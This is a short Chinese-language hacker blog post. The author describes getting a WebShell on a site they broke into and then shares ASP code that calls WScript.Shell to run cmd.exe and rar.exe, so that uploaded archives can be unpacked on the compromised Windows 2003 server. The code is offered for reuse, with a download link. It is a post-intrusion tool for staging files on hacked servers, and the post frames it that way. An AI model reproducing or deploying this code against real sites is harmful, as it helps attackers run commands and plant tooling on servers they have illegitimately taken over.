解压rar文件的asp代码

（引自）http://www.fo128.com/blog/article.asp?id=389
搞个破站也真是够郁闷的，WebShell是拿到了，可是服务器是2003的，有些麻烦。各种方法也都想到了，硬是连个cmd文件也传不上去，提示缺少对象。最后想到了个办法，就是是它本地进行rar的解压。

ASP解压文件如下：

程序代码

<% 

dim ylj,ywj,Mlpath,Shell,rarcomm,RetCode,cmd,comm,fso 

Mlpath="D:\Meteor\ha\" '存放RAR.EXE和CMD.EXE的路径 

ylj=Server.mappath("2")&"\" '解压文件后所放的路径 

ywj=Server.mappath("2.rar") '要解压的RAR文件 

Set Shell = Server.CreateObject("WScript.Shell") 

rarcomm= "D:\Meteor\ha\cmd.exe /c "&Mlpath&"rar.exe x -t -o+ -p- " 

cmd=rarcomm&ywj&" "&ylj 

RetCode = Shell.Run(cmd,1, True) 

%>

条件是要在ASP程序所在目录下存在cmd.exe,rar.exe这两个文件，晕～～～～

文件还是传不上去，可能是2003限制了不能上传超过200K的文件。
不管怎样这段代码以后或许可以用得上。

顺便把文件也传上来，方便下载：
http://www.fo128.com/download/asp_rar.rar